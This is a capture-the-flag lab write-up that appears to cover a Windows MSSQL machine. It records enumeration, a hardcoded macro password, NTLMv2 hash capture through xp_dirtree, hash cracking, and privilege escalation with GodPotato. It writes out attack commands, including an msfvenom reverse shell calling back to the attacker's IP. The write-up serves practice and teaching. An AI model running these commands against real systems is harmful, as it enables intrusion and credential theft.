# nmap
```sh
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-10T21:40:29
| Not valid after: 2056-11-10T21:40:29
| MD5: 1e71:b334:a482:fded:c68e:48fd:2b94:a334
| SHA-1: fb37:2384:b487:43bc:1cc7:f05b:b2fd:be91:6977:9b04
|_ssl-date: 2026-11-10T21:53:37+00:00; +1s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-11-10T21:53:31
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
```
## tcp/445 smb
No null sessions or guest access
## tcp/1433 mssql
No null sessions or guest access
## tcp/47001 http
![[Pasted image 20261110160319.png]]
- Nothing from ferox - `directory-list-1.0.txt`
From here I looked into everything mssql and got frustrated and started just throwing metasploit modules at the machine. Needless to say that did nothing. I stepped away for a minute and decided to enumerate `SMB` again after reading the machine description.
# SMB Guest Access local-auth
![[Pasted image 20261110162224.png]]
Earlier when we checked for this we did not specify `local-auth` and it was trying to authenticate under `HTB.LOCAL\`
## xlsm file on `Reports` share
![[Pasted image 20261110162354.png]]
![[Pasted image 20261110162519.png]]
Well that is certainly interesting, what does it do?
![[Pasted image 20261110162630.png]]
In `ThisWorkbook` we have a macro with a hardcoded password
![[Pasted image 20261110162735.png]]
We have valid credentials for the `reporting` user
- Netexec told us we have no valid credentials for `mssql` however authenticating with `impacket` worked with `-windows-auth`
![[Pasted image 20261110162944.png]]
![[Pasted image 20261110163213.png]]
### xp_dirtree
But `xp_dirtree` is enabled and we can capture the `ntlmv2` hash of the service account running the `mssql` instance
```sh
SQL (QUERIER\reporting reporting@volume)> xp_dirtree \\10.10.15.24\share
```
![[Pasted image 20261110163352.png]]
#### hashcat
```sh
PS C:\tools\hashcat-7.1.2> .\hashcat.exe -m 5600 .\hash.txt ..\rockyou.txt
```
![[Pasted image 20261110163744.png]]
# Access as mssql-svc
![[Pasted image 20261110164118.png]]
Learned something. For `windows auth` on a non-domain joined machine we have to manually specify the domain rather than using `--local-auth`
- It looks like this user is utilizing `xp_cmdshell` as well
- Trying to get a shell back through multiple methods we keep getting an output saying we have been blocked by antivirus
![[Pasted image 20261110171136.png]]
Finally
## user flag
![[Pasted image 20261110171215.png]]
## privesc enum
![[Pasted image 20261110171331.png]]
We have `seimpersonateprivilege`
### GodPotato
![[Pasted image 20261110171509.png]]
```sh
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.15.24 LPORT=53 --platform windows -a x64 -f exe -o rev.exe
```
```sh
PS C:\Users\mssql-svc\Desktop> .\g.exe -cmd ".\rev.exe"
```
![[Pasted image 20261110171723.png]]
## root flag
![[Pasted image 20261110171810.png]]